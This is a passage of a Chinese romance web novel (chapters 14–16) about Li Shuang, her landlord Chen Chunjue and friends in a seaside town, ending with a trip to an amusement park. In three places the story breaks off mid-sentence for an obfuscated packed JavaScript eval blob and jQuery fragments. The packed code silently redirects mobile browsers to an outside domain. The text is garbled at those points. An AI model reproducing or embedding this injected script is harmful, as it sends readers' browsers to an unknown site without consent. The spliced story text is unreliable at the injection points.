“怎么会讨厌。”李霜轻笑,“大多数人连这样严格负责的父母都没有,我肯定要知足的。况且他们也没有亏待我什么,我不会讨厌他们,也不会怨恨他们。”
“更何况,他们拥有许多社会身份,肯定不可能把所有身份都做好。或许是性格原因,也或许是我天生就和他们观念不同,但谁都没有错。”
“你看得还挺开。”陈春决看她要走过米线店,轻拽住她的袖子,“这里。”
小店温馨简单,一面墙上贴满便利贴,另一面墙上贴着简单的菜单。店内放了六张桌,此时只有一人坐在里面吃米线。
“怎么那么多便利贴。”李霜脱掉外套,放在一旁的椅子背上。
“我之前也问过老板。是因为之前有县里学生来这里海边写生,那个学校每年都来,小孩就喜欢贴这种祝福语,或者许愿什么的,老板也不舍得拿下来就这么贴着了。”
闻言,本来一张张便利贴看过去的李霜问:“你是不是也写过?”
站在桌子旁看菜单的陈春决一愣,不好意思地挠挠头发,“你怎么知道?”
“猜的。”李霜终于露出轻松愉快的笑。
陈春决晃神,也跟着她笑,“你要吃什么?”
“哦,差点忘了。”李霜看了几秒菜单,很快做出答案,“我想要吃番茄海鲜米线。”
“好。”
李霜看他转身,去找老板下单,她思索两秒,拿起手机跟上去。
怕他又偷偷付钱。
“我付吧。”
“不是说好我带你吃好吃的吗。”陈春决挡住她扫码的手,将她的手机抽过来,放在自己兜里。
陈春决的速度太迅速,李霜眨眨眼,反应过来想去捞他的口袋,却被他握住手。
他的手好烫,李霜整个手臂都僵硬起来,抬头看他侧脸清晰的轮廓,在店里暖光的照耀下,显得柔和。
陈春决扫码付款,输入密码时,松开了她的手,李霜把两只手放在身后相交,明显的温度差异。
两人回到位置,陈春决将手机递过来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599532|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李霜接过,忍不住抱怨,“下次一定让我请,不然再也不和你一起吃饭了。”
“别啊,下次保证让你请。”陈春决把刚刚从柜台拿来的矿泉水拧开,帮她倒进塑料杯里,“我这不是觉得你帮我接住户,辛苦了吗。”
两人都没有注意到李霜方才无意识的撒娇。
“不辛苦,就是接个人而已。”李霜把一次性筷子拆开,用纸包起来放在他的塑料杯旁边。
“这有消毒过的筷子还有勺子,你吃米线用勺子吗,我给你拿。”陈春决起身,询问。
“用,谢谢你。”她只好把拆开的筷子放在一边不管。
这家店的米线色香味俱全,李霜等陈春决拍好照片后,就埋头开吃。
和陈春决吃饭很舒服,她不会在意自己的形象,也不会被打扰,他很会找空隙说话,也不会让她分神思考,都是些没意义的废话。
李霜喜欢和他说废话。
吃过米线,已经将近晚上八点,陈春决送她回去。
远离小镇的商业街后,周遭寂静无比,隐约能听到海鸥的声音。
很快到达家门口,李霜站在台阶上,头顶的灯光是声控灯,跟随着声响亮起。
她站定,“对不起,今天又情绪不稳定,对你发脾气了。”
“怎么会是发脾气呢。”陈春决拧眉,想让她也跟着不在意,释放出大大方方的笑容,“这种事是在交流啊,而且我们是朋友,再正常不过的事。”
朋友?
李霜敛眸,灯光熄灭,多出的暗色掩盖她的自卑,“你不会觉得我这个人很难搞吗?敏感又拧巴。”
“你自己会这样感觉?”
“嗯?”
声控灯又被唤醒,李霜望向他,他的表情坚定,直直地看过来,眼里映着光,让人无法躲开。
“你会觉得自己的性格有问题吗,还是你害怕别人这样想?”
“我——”听他这样问,李霜低头沉思,而后抬头回答,“我自己不这样觉得,我对自己没有期待,也不失望,我接受全部的我。但我会担心,靠近我的人无法接受。”
“我接受。”陈春决的声音平淡,像是在说一句并不特别的话,“而且你并不拧巴,你只是在保护自己。再说了,敏感是件好事,你做文字工作的,敏感不好吗,对生活难道不会感受到更多吗,这样多好啊。”
他的语调逐渐上扬,似乎在憧憬一件美好的事。
李霜没说话,她想如果这个夜晚可以暂停多好。
“好了,今天好好睡觉,不要想太多。明天去书店的时候给你带小笼包。”
“好,明天见。”
“明天见!”陈春决跑进巷子里,徒留李霜站在门口发愣,头顶的灯再次暗下。她想转身进入院子时,隐约感受到右侧拐角处有目光盯着她,看过去却空无一人。
可能是野猫吧。
李霜微微皱眉,跺跺脚让灯亮起来,关门进入院子。
14. 14
次日清晨,天微微亮。天幕划出一道口,裂缝溢出大片的粉色,与周边的蓝晕染。
李霜在灰暗的房间醒来,对着床头柜的那束香豌豆花束发呆,她想把陈春决包的那束做成干花,就没有泡水,放在床边,每日醒来都能看到。
但今日并非因闹钟而醒来,而是楼上传来的小提琴声,时而舒缓时而激烈。
不是说要睡到自然醒吗。
李霜翻身,在琴声微弱时再次入睡。
没过多久,闹钟响起,李霜起床洗漱,把投影仪放在手提盒里带上后,踏着晨曦走去书店。
拐过弯,快到书店时,李霜竟看到卓渔安在晨跑。
她诧异两秒,怪不得小提琴声消失,原来是外出跑步了。
可真是精力旺盛。
远远地,卓渔安朝她招手,李霜等她跑过来。
“早上好。”
“早上好,你起这么早?”李霜抿嘴笑。
“可能刚来到新的地方,有点睡不惯。”卓渔安撒了谎,但却立即转移话题,“我早上有没有吵到你,还是忍不住想拉小提琴。”
她低头拉卫衣外套的拉链,短发落下来遮住半张脸,识不清她的情绪。
李霜没有询问她小提琴的事,也没有说出自己认出她的事,只是说:“没有,我本来就要早起,而且你拉小提琴很好听,算不上吵。”
“那姐姐,你出来是——”
“我来帮这家书店的老板开门,她有事出去了。”
“哇,这镇上还有书店啊,会有人来看书吗?”卓渔安见她将卷帘门拉起,露出木门,也跟着进去。
“基本没什么人,但好在她有二手平台可以卖一些二手书。”李霜打算先烧些水,看她对书店好奇,“你跑完步了?”
“嗯,就是随便跑跑,消耗一下体力。”
“那要不要和我一起包书?”
“好啊!反正我也没事做。”卓渔安撸起袖子,在桌边坐下来,“怎么包书,书在哪啊。”
“不着急,你先坐会。”李霜把收银台收拾好,将放在一旁装书的纸箱拖到圆桌旁,坐下来边翻书边问,“你要不要吃小笼包,等会房东也会来。”
“可以。”
等到陈春决过来,已过八点。
三人坐在一起吃了小笼包后,便开始包书,装快递。没到两个小时,就把二十几个快递分好,放在门口等待快递员来拿。
卓渔安和陈春决也聊过几句,不愧是热心肠的房东,李霜觉得他都想要带人把小镇走一遍。
听到他介绍旁边的那座山,李霜好奇,“你怎么没带我去过那里?”
他说,旁边那座山有个寺庙,特别灵验。
陈春决吞咽下茶水,闻言,抬眸看她,“你会信这种吗?”
“不太会。”
“我也觉得你不太会,所以就没想到带你去,你想去?”
“呃——”他这样说,李霜反而不知如何回应。
“下次带你去,那山后还有码头,有船可以坐,还有赶海的,很多新鲜海鲜。”
“好啊,我要去。”
过了一会儿,田朗也过来,坐在地毯上看书。
李霜前日把她的咖啡机搬过来,她想反正每日都要在书店里待着,等程椰回来,大家一起喝咖啡也方便。
此时,陈春决正在表演拉花,卓渔安小小一只凑在那里,好奇地趴着看。
二十出头的年纪,看起来单纯无害。但她在李霜的记忆里,是在一本杂志上。目光充满野心。
李霜曾经在一家杂志社实习过,当时隔壁组做过卓渔安的专访。
卓渔安是音乐界新星,就读于美国的伯克利音乐学院。在国内举办过许多音乐会,可以说是年少时赫赫有名。
路过隔壁组时,李霜能看到卓渔安拉小提琴的视频,她站在台上,就像是精灵,自信且自由。
一方舞台,她闭着眼好像到达更广阔的地方。
但李霜后来没有怎么关注过卓渔安的事,仅仅是记得她的模样。
不知道她为什么会来到这里,或许大明星也会有困扰吧。
阳光不吝啬地落在每个人的身上,暖烘烘的。
陈春决递过来一杯拿铁,用奶泡拉出的图案是一颗心,明明很简单的图案,他的耳朵却泛红。
“你的技术还挺好呢。”之前只听他说过会做咖啡,但没想到拉花会这样好。
连田朗也惊讶,看着自己手里的拿铁,是经典的花型图案,他小心尝了口,评价:“不仅好看,还好喝。”
“下午,小孩要来看电影了?”陈春决擦拭咖啡台,随口一问。
“是,投影仪已经拿过来了。”李霜放下咖啡,没注意到自己嘴角沾上了奶泡。
卓渔安:“这里还放电影!”
“对,你下午可以来这看,不过小孩在的时候,放的都是动画片。”陈春决抽了两张纸,塞到李霜的手里,指了指她的唇角,“等小孩们看完了,咱们换别的看。”
“要不要看恐怖片?”李霜用纸擦嘴,擦过后看了眼陈春决,见他点头轻笑,才把纸巾扔掉。
卓渔安一边“嗯嗯,好啊,我也喜欢恐怖片。”一边在两人之间看来看去。
/
下午两点,向雀拉着一脸不情愿的向海走进书店,后面跟着几个小朋友,李霜已经眼熟。这几日他们总喜欢和她打招呼,捡到可爱的松果,还会特意找到她,送到她的手心。
其中被叫作“小苹果”的小女孩,冲进书店就跑来问:“小霜姐姐,你有没有把松果泡到水里啊,它们是不是都缩起来了!”
李霜想到放在洗手台上的玻璃瓶,“真的缩起来了!好神奇。”
“我就知道是真的。”小苹果跑到地毯上坐下,和其他小朋友聊天,等待陈春决放电影。
今日播放的是《玩具总动员》。
书店里的窗帘比较透,遮光度不够,幸好阳光已偏离投影仪所在的墙面,不至于影响投影效果。整个书店所有人都盯着电影,只有音响传出声音,灰尘漂浮在空气中,李霜望着眼前的场面,露出笑容,深深叹了口气。
“怎么叹气?”陈春决捕捉到她的情绪变化,侧过头观察她的表情。
“没有,你不觉得这里像是成立了一家小型电影院吗,像是神秘的俱乐部。”李霜是满足的喟叹。
“确实。”陈春决手撑在身后柔软的地毯上,仰头,“是你提议的。”
“嗯,是我提议的。”李霜也学他的姿势,“可是,投影仪是你买的。”
她的手指往后靠时,恰好压在他的右手之上,覆盖不住。
李霜的心被提起,在他毫无反应时,又稳稳落下,但她还是轻轻移开,“抱歉。”
“没事,你的手怎么这么凉。”陈春决欲起身,“我去给你倒杯热茶。”
“我也去吧,小孩还没喝饮料呢,我去给他们倒点。”李霜也起来,走出地毯。
方才目睹一切的卓渔安偷笑,被坐在一旁的小苹果拉住,“姐姐,你在笑什么?”
“我在笑他们俩。”卓渔安伸手偷偷指向离开的那两人。
“为什么,他们俩在谈恋爱吗?”小苹果好奇,下秒望到卓渔安的手腕上有道疤痕,张大嘴巴,“姐姐,你这里有伤,看起来好吓人。”
“不好意思,吓到你了。”卓渔安苦笑。
“没有,是不是很疼?”
“小苹果,胡迪要跳车了,你快看。”
电影结束时,其他小朋友都准备离开,纷纷和李霜告别,李霜一一回应时,眼里的余光一直在看向雀,她今日兴致看起来不怎么高,垂着脑袋,没精打采的。
向海站在一旁也不搭理她,进来时还牵手,现在却都避开对方。
李霜走到向雀面前,蹲下,“啾啾,看电影不开心吗?”
“开心……”她瞥了眼向海,低头不说话,抓着李霜的手不放开。
李霜眼神示意陈春决,让他把向海支走。
陈春决会意,将他带走后,她才问:“啾啾,有什么事可以告诉姐姐。”
“真的吗?”
“当然,我们不是好朋友吗?”李霜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599533|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摸摸她的头。
“那好吧。”向雀撇嘴,“我和哥哥吵架了,他不理我了,说我不懂事。”
“为什么和哥哥吵架?”
“我想去游乐场,小苹果爸妈回家带她去了,她说很好玩,我也想去,我没去过。”向雀掉下大颗大颗眼泪,哽咽,“哥哥说他每天上学都很累了,没空陪我。让我乖一点,不要让奶奶担心。可是——我只是想去游乐场。马上上小学了,我都没去过,到时候没有朋友怎么办……”
“小苹果他们几个不都是你的朋友吗?上学他们会陪你的。”
“姐姐,他们今年就要上一年级了,但我要明年。他们会有新朋友的,但我没有。”
李霜没说话,思索几秒,抬眸,抹去小孩脸上的眼泪,“啾啾,你觉得去游乐场你会开心吗?”
“会吧。”
“去游乐场的经历,会让你交到新朋友?”
“我不知道,但我要去了才知道会不会吧。”
“哥哥,他最近是不是学习特别累?”李霜突然问道。
“嗯嗯,哥哥回家也要学习,他很努力,好像有点累。”
“啾啾,你说得对,要体验过才知道。”李霜抱起她,向雀的体重不重,比起其他小朋友要轻许多,每次抱起来李霜都能明显感受到她瘦小的骨头在动,“那我们就去游乐场,让哥哥也去。”
“可是,可是没有钱……”
“我会想办法的。”李霜看向远处的向海,太过用力生活的少年,脊背挺直,却让人心疼,“如果弄到票了,我们就出发去游乐场好不好?”
“好!但是姐姐,你不要花钱。哥哥会不高兴的,啾啾也不愿意……”
“不会的,姐姐有好朋友在游乐场上班,你放心好了。”李霜尽力哄住小朋友,“你先不要和哥哥说,好不好?这是我们的惊喜。”
“好,拉钩。”
送走向海和向雀后,李霜走到陈春决旁边,他正在研究投影仪。
“陈春决,你刚刚和向海聊了什么?”
“就问问他上学怎么样,有没有人欺负他什么的。他之前在镇里上初中的时候,总有小孩欺负他。”陈春决正在等待卓渔安连接手机设备,她想要找片子看。
“哦哦。”李霜拽住他的衣袖,把人带到收银台后面的帘子里,装书的仓库窄小,没必要安装门,程椰只安装了门帘。
“怎么了?”仓库过道狭窄,两人挨着很近,陈春决低头时,下巴差些碰到她的头顶,漂浮的几缕发丝蹭到他,喉结稍滚动。
“县里有游乐场吗?”
“好像没有,废弃了。市里应该有,怎么了?”
李霜将方才的事告诉他,“我想带啾啾去游乐场,但不想让向海觉得我是在同情他们。”
“下周末是学校的双休,可以去。我明天去看看票。”陈春决打开手机,看了眼日历,“到时候就说是活动,团体票有优惠,那时候程椰也回来了,她心情也不好。一起去游乐场放松一下,也挺好的。”
李霜只是提出一个想法,却被他在一分钟内想方法落实。
“你不觉得我多管闲事吗?”
李霜好奇地抬眸,他正低头查看游乐场信息,听到她说话,看过来,“怎么会是多管闲事。李霜,你开始融入这里了,你没发现吗?”
“你们俩在干什么呢,电影要开始了!”卓渔安坐在地毯上,往收银台张望。
李霜愣住,没回应,陈春决掀开帘子,探头:“马上。”
他掀帘的动作,让身体往李霜这边倾斜,渡过来远山杉木的味道,他换了香水。
“你换香水了。”她使用的陈述句,甚至语气里带着笃定。
“啊——”陈春决右手轻挠耳后的皮肤,“换了,闻出来了?”
“嗯。”融入这里是件好事吧,她没想透,侧身准备出来,“电影开始了。”
她有资格进入新生活吗,甚至收获新朋友……
想到叶幸然,李霜的心猛地坠下。
不做噩梦也无用。
她存在于每个沉默的时刻。
15. 15
没过两日,程椰从北城回来,她踏着落日余晖走进书店时,李霜正在打开新买的香薰蜡烛,抬眸就看到她进来。
她眼角溢出笑容:“你回来了。”
“是的,回来了……。”程椰把大包小包放下,肩上的斜挎包掉落,她拽着肩带,走过来。
李霜拿出杯子帮她倒了杯水,看她包掉在地上,拖拽着走过来,故意走得歪歪斜斜的身体,忍不住笑,“你的手绘板带来了?”
“带来了!”程椰拉过板凳坐下,“我回来坐的那个车,那个大哥开车技术太差了,给我整晕了,差点吐了。”
“我还以为你是伤心过度。”还想借手绘板调节气氛。
“不至于不至于,分手都这么久了,这次回去就是收拾一下东西。”
“你们聊得怎么样……”
闻言,程椰“咕咚”灌下整杯水,把嘴角的水渍擦去后,她叹气,“就聊了些分开之后的生活,他问我有没有调理好心情,有什么好调理的,我觉得一切都好啊。”
“不过这次回到北城,站在高楼大厦底下,我竟然没什么感觉,好像城市的生活已经离我远去了!”
“是不是太久没回去,有些陌生了?”
“也可能吧,不太适应,但心情挺好的。就感觉人生也没有完蛋,原来也是可以偏离轨道的。”程椰望向收银台旁的壁柜上,上面放着父亲的照片,眼眶湿润。
不过除此之外,只是有点想他了。
不该错过那么多平淡的时光。
李霜为了方便看书,从行李箱翻出来了不常用的棕色眼镜,此时镜框有些下移,她伸手去扶镜框,把整套的香薰蜡烛,拿出一支,“你要不要拿一支香薰蜡烛,晚上休息时可以点上。”
程椰收回视线,对上她那双清冷的眼睛,那副镜框她的前男友有副类似的款式。当下有些晃神,下意识回复,“不了,他老说我点上蜡烛就忘记,很容易产生意外——”
记忆碎片像吹出的泡泡,你有意避开就会避开,可拦不住的是无意间撞上来的泡泡,透明无害,却让人一下跌入原本被遗忘的时间。
程椰意识到自己脱口而出的话,呆滞的眼里涌出眼泪,无法克制地说着抱歉,我不想哭的。
但李霜却懂。
谁都有可能输给这个瞬间,过去的这一个多月里,她输过无数次。
李霜拿过纸巾,替她擦去眼泪,纸沾上眼泪和粉底的混合物,“哭出来就好了。”
程椰冷静下来,已经过去十几分钟,见她的情绪稳定下来,李霜拿过桌上的打火机,点燃蜡烛,“我们先试试这个味道吧。”
“嗯嗯。”程椰用纸蒙住眼睛,声音沙哑,“我之前一直以为,以为分手就是老死不相往来,大家都像仇人一样,再也不见面的。”
“没想到,最让人伤心的是,两人手牵手走着,却突然就不同路了,甚至无法察觉到是从哪一步开始不同步的。我们原本是特别好的校园情侣,朋友都很羡慕我们,说着毕业后也会来参加我们的婚礼。”
婚礼。
李霜藏在镜片之后的眼睛,轻轻眯起,右手大拇指指腹按住打火机的金属部位,微微发烫的触感她也并不在意。
“可是前两天见面,他说我再问你一次要不要和我结婚,要不要回来时,我感觉他一点都不像之前的样子了,他还给我发消息说,要开始相亲了。好像是我搞砸了一切,但两个人的关系有那么明确吗?他忽略我、质疑我的时候,因为我逃跑了,就能全不作数了。”
“怎么就……走到这步了?”
香薰蜡烛飘落些许烟雾后,开始散发稳定的烛光,轻轻摇曳。空气中弥漫起淡淡的榛果味,夹杂着烤杏仁的味道。木芯发出“噼里啪啦”的声音,像海边的一簇篝火。
“人不是永远都合适的,所有人都会改变的。”李霜放下打火机,指腹印出圆形痕迹,她转动香薰蜡烛,指尖靠近火源,“你们只是对于未来的规划不同,你只坚持自己就好了,也没有像谁妥协。”
“你说得对,事已至此,我只要过好我自己的生活就好了!”程椰深呼吸,鼻腔涌入一股松香,“好闻,我要选一瓶留下。”
“好,你记得睡前灭掉。”
“一定会记住的!”程椰起身去门口拿行李,“我给你带了糕点,超好吃的。这几天感谢你帮我看店啦,还帮我发快递!”
“陈春决和朗哥也帮忙了。”
“他们俩在你没来之前,天天蹭我的茶,还有我好多吃的,帮忙是应该的!”程椰话还未说完,陈春决就推门进来。
陈春决瞥见她,两眼发光“你回来了。”
“对啊!你——竟然来了,就一起吃糕点吧。”程椰嘟哝,“可恶,还是被蹭到了,本来想让小霜自己吃的。”
今日陈春决穿了经典款格子衫,外面套了件灰色卫衣,上面印着只蓝色小狗,和他戴的蓝色鸭舌帽呼应。李霜想他在大厂上班时大概就是这样穿着简单,但又不失轻松。
他抬眸寻找她时,被帽子压住的卷毛压在眼睛上,迷迷糊糊的。
“李霜,游乐场的票弄到了。”他从兜里拿出票,挥了挥示意。
抱着糕点走过来的程椰警觉,“什么游乐场!我不在你们背着我出去玩?”
李霜安抚:“里面也有你的票,这周末去。”
“好耶!”
陈春决把票放到桌上,“你和前男友聊得怎么样?”望过去却看到她发红的眼,“呃——不用回答我了。”
李霜被他逗笑,拿着票看了眼,“那你记得和向海说一声,我和他说不太熟。”
“嗯,我知道的,明天就和他说。”陈春决翻开糕点盒子,把桃花酥放到李霜手里,“到时候咱们开两辆车去?”
“可以。”李霜想到什么,边把桃花酥掰开,边问,“小鱼不是说也要去吗?”
“已经买了。”陈春决塞了块酥饼,声音含糊,“你和我说之后,我就和她确认了一下。”
“小鱼是那个新来的住户?”程椰在北城时,李霜提过,但没有详细聊过。她还和朋友见了几面,一直也没有更新青野镇的近况。
“对。她偶尔会来你的书店看书。明天可能就会见到了。”
“好啊,希望小镇可以越来越热闹!”
/
为了让大家的游乐场之旅玩得尽兴,陈春决在出发前夜专门建了微信群,将所有人都拉进去,发了时间表。
李霜洗完澡看到手机群消息时,他们已经在群里发了几十条消息。群名也已被程椰改为「游乐场小分队」,她和卓渔安格外投机,在群里聊起明星八卦,啾啾还用向海的号发了条语音。
“好耶,明天就要去游乐场了,好开心!”
底下除了田朗哥,其他人都跟着回复,好开心。
李霜跟了队形回复后,仔细看了陈春决的时间表,八点出发,半小时到达,他连先后玩什么项目,排队时长都预测好,真是妥帖。
李霜私信他:你是个J人?
陈春决:啊?
李霜正走向厨房喝水,听到提示音,竟然秒回。
李霜:就是MBTI,你没测过?
与此同时,陈春决回复:哦你说那个性格,我是ENFP,不是J人。
李霜:哦,快乐小狗。
想到他朝自己跑过来的模样,还要呼喊她的名字,李霜轻笑,下秒意识到自己的傻笑,蹙眉。手机又震动。
陈春决:你是什么?
李霜:INFP
陈春决:小蝴蝶!这个我知道。
李霜:嗯嗯。
陈春决发了条语音:早点睡觉哦,明天见!
后面跟了个【小狗捧花跳.jpg】
往常别人发语音,李霜都是直接转文字,这次她把香薰蜡烛点燃,坐在床边,点开语音,听了一遍。他的语气上扬,配上那张表情包,李霜能想到他的雀跃。
具象化的存在。仿佛能让李霜忽略掉之前,见识过的,直面过的漠然。
李霜点开又听,点开又听,听了几遍后,她发了条明天见,结束对话。
灭掉香薰蜡烛后,整个房间充斥着柠檬与甜橙的味道。陷入睡眠前,李霜想明天要给陈春决带一支蜡烛。
次日清晨,李霜起得早,在阳光闯入时,已经在厨房煎上鸡蛋和培根了。现在厨房的冰箱装的食物远比她来时要多,大部分都是陈春决捎过来的,生怕她会饿死在这里一般。
于是秉承着不浪费的好习惯,李霜现在的饮食要健康许多。
吃过早餐,她收拾好背包,选了支接近森林味道的香薰蜡烛装进袋子里,出门。
今日恰好是个好天气,晴空万里。几人约定集合的地点是书店门口,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599534|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
距离停车场比较,方便过去。
李霜出门早,住的地方离书店比较近,她第一个到达,没过一会儿,陈春决从拐角处出现。
没走过来,就喊她,“李霜,你怎么这么早!”
“醒得早了,也没有等很久。”他今日穿了件黑色毛绒外套,站到书店屋檐时,李霜注意到他的帽子里装了某种东西。
李霜探身一看,是玉兰花。镇上的玉兰树都开花了,春天也不知是先抵达在哪里,总是无声。
李霜笑,偏瘦的脸颊,露出浅浅的酒窝,她扯着陈春决的袖子,“你稍微低下头。”
陈春决顺从地低着头,没问原因。
李霜踮脚从他帽子里拿出那朵花,“收着吧,它特意跑到你的帽子去了。”
陈春决才抬眸望过来,看到眼前躺在她手心的玉兰花,眼睛睁大,“哇哇哇,它什么时候进去的!”
“你经过的时候,它正好掉下来吧。”
陈春决伸手,“啊,家门口确实有颗玉兰树,但我怕迟到,就没有仔细看。明明前两天都没有开花啊,好突然。”
“本来春天就很突然的。”李霜把花放到他的手心,“在你家门口?”
“嗯。”陈春决没敢将花瓣放在口袋里,生怕压扁,就虚着握拳拿在手里,“你是不是没去过我住的地方?”
李霜点头,“确实没去过那附近。”
虽然距离不远,但李霜往常都只在海边附近闲逛,很少去老住房区。
陈春决侧过头看她,李霜今日虽然未化妆,她像往常一样只涂了素颜霜,但今日格外加了淡色口红,显得有气血。
脸颊也不再消瘦,骨感减少,陈春决想,一定是他源源不断送过去的食物,下次还送。
李霜听不到回复,抬眸,他匆忙收回视线。
“等有空,带你去看,家里也有咖啡机,我用最喜欢的咖啡豆给你泡咖啡。”
李霜抬眉,“好。”
陈春决听到拐弯处传来程椰的笑声,抬脚准备去打招呼。李霜望着他的背影,仿佛隔了一层膜,看向他时是透明的,以为是绝对真诚与热烈,但其实他有属于自己的结界。
因为,她仅仅是值得关心的住户。
片刻,几人都已到达。分车时,田朗的车上坐程椰、向海和向雀。陈春决的车则坐李霜与卓渔安。
坐上车,李霜把包放下时,想起包里的香薰蜡烛,又捞起包打开,将蜡烛放在驾驶座旁的储物台面上,“忘了给你。”
陈春决将玉兰花放在蜡烛旁,“我还没用过,等着晚上回家试试!”
“嗯。”
启程前往市里的游乐场。
路上,李霜和卓渔安聊天,聊的都是些恋爱话题,卓渔安总想谈恋爱,说自己没有谈过,于是前段时间她下载了许多聊天软件,遇到了许多奇葩男。
“有次,遇到了一个很有病的人,他给我发了一些私密照!我当时差点吓昏倒!”卓渔安趴在前后座的缝隙里,用惊恐的语气说。
“还有一次,刷到了同城的,他从照片里认出了我的位置,就非要来找我,太可怕了,根本没有正常人!”
李霜回复:“可能目的性太强,反而无法遇到。”
“确实,都下聊天软件了,都是些想快餐式恋爱的人吧……”
陈春决笑:“也不能这么说,或许也有人在软件里找到真爱啊。”
“反正不是我,经历几次后,我就把软件全卸载了。”
陈春决拉下转向灯,超过前方车辆,“这么想谈恋爱吗?”
“是啊!哥你有没有朋友,可以给我介绍一下?”
“我的朋友,和你年龄都差很多的。”
“没关系啊。”卓渔安看向认真思考问题的陈春决,又瞥了眼李霜,“或者,哥,你有没有对象啊?我不介意年龄差的。”
添火什么的,她最在行。
“我?”陈春决吓得差点换道,他瞄了眼李霜,李霜恰好也看过来。
那双拥有单薄单眼皮的眼睛,往日总清冷,偶尔一笑才会柔和些,此时却没什么表情,看不出情绪。
李霜见他慌乱避开视线,看向前方,忍不住为他解围,“小鱼,你别吓唬他了,旁边就是海,他一个紧张,把车开进去了怎么办。”
“好吧。”卓渔安想立即下车,不想和木头们坐在一起。
16. 16
到达游乐场,几人下车。
程椰兴奋地跑过来,“我刚刚在游乐场的视频号看到了消息,今天晚上有惊喜表演,我们晚上吃了饭再回去吧。”
闻言,李霜把挎包背上,思索两秒,回头问陈春决,“晚上开车安全吗?”来时的路上有沿海峭壁,他经过时说这里偶尔会落下碎石。
陈春决点头,“我开慢点就行。”
“回去我开吧。”李霜轻声说。
几人没再回程的话题上再探讨,直接检票入园。其中最兴奋的是向雀,入园后就到处跑来跑去,让向海买了可以系在手腕上的气球才安静下来,生怕气球飞走。
正是周末,几人虽然来得早,但园内已人满为患,不想排队而早出门的人都在此时相遇。喧闹声不绝于耳,来来往往的人中有带着小孩的家长,也有拿着气球看不到路的情侣。
李霜被路过的小孩撞到,站在身后的陈春决用单手撑住她的腰,贴近她的耳朵轻声说,“小心点。”
声音清晰,李霜的耳朵发痒,她摸摸耳垂,“知道了,你有什么想玩的吗?”
大抵他的计划也无法执行下去了,不如趁乱想玩什么玩什么。
陈春决:“你来游乐场有什么必玩项目吗,可以先玩,不然等玩累了,就没兴趣了。”
“我——”李霜看啾啾小小一只,头顶的气球随着她小碎步的动作一抖一抖的,忍不住笑,“我没怎么来过游乐场,没玩什么项目。”
“啊!”陈春决张着嘴巴,不可思议,“那你上次来游乐场是什么时候?”
“可能是大二的时候,当时和叶幸然还有几个朋友一起来的。”
陈春决内心计算,大概有六七年的时间没有来过了。
“那——”他还未说完,前面的程椰就扭头喊,“你们俩跟上,我们先去排海盗船!”
李霜不喜欢犹豫,她作出回答,“那就先玩这个吧,反正没有特别想玩的。”
“好。”
两人跟上队伍。海盗船的队伍不算长,等待的时间并不长,很快几人就上了船。啾啾的气球被系在海盗船旁的栏杆上,轻轻随风摇曳。
李霜没有恐惧感,她只是想吐,于是努力让自己的注意力集中在坐在前排的陈春决上,他的后脑勺很圆,左右摇摆的海盗船让他的卷发乍起,他伸出双手肆意呐喊,坐在李霜旁边的程椰也跟着尖叫,甚至有同船的陌生人趁机喊了句“这该死的世界!艹!”卓渔安试图伸手捂住向雀的耳朵,但未成功。
她努力憋住笑意与呕吐感,世界眩晕,他们随波逐流,世界荒谬,他们毫无在意。
下了海盗船,李霜扶着围栏,轻轻摇晃脑袋,让自己保持清醒。
卓渔安走来,拍拍她的后背,“小霜姐,你没事吧?”
“没事,接下来你们要去玩什么?”
“那当然是过山车了!发泄发泄,冲冲冲!”卓渔安做出超人姿态,往前走,身后跟着程椰和向雀。
向海拆下气球拿着追过去,“向雀!你忘了气球,下次休想再让我给你买!”
“哥哥,我错了。”
田朗走得慢,路过时,停下脚步,犹豫几秒,终究还是开口说话:“陈春决去买东西了。你怎么了,还好吗?”
“没事,朗哥,我就是有点晕。”
“那你在这坐会?”
“嗯嗯,你和他们一块去吧,他们几个太兴奋了,你看着点。”
“都多大人了,出不了事。”虽是这样说,田朗还是看着她在椅子坐下,目光寻找到陈春决的身影,才快走追上他们。
“李霜!”陈春决手上抓着用彩色丝带系上的粉色心形气球,他跑动时,气球飞在身后,他大步跑来,声音突破距离,抵达她的耳际,周遭一切杂音都抹去,“李霜,这个送给你。”
他将手伸出来,把衣服折到手肘,手臂露出的青筋脉络,手腕上有前两日小苹果和啾啾用彩笔画出的手表,勒令他不许洗掉,就留到今日。
李霜怔了一下,又听到他清亮的声音,“你快把手伸出来。”
她顺从地将左手抬起,被他捉住,将丝带系在手腕上,“看好它,别飞走了。”
“怎么送我这个?”李霜诧异。
“不是很少来游乐场吗,这次把什么都补上。来这里玩要开心啊。”陈春决如果做游乐场的小丑,一定会成为业绩第一名。
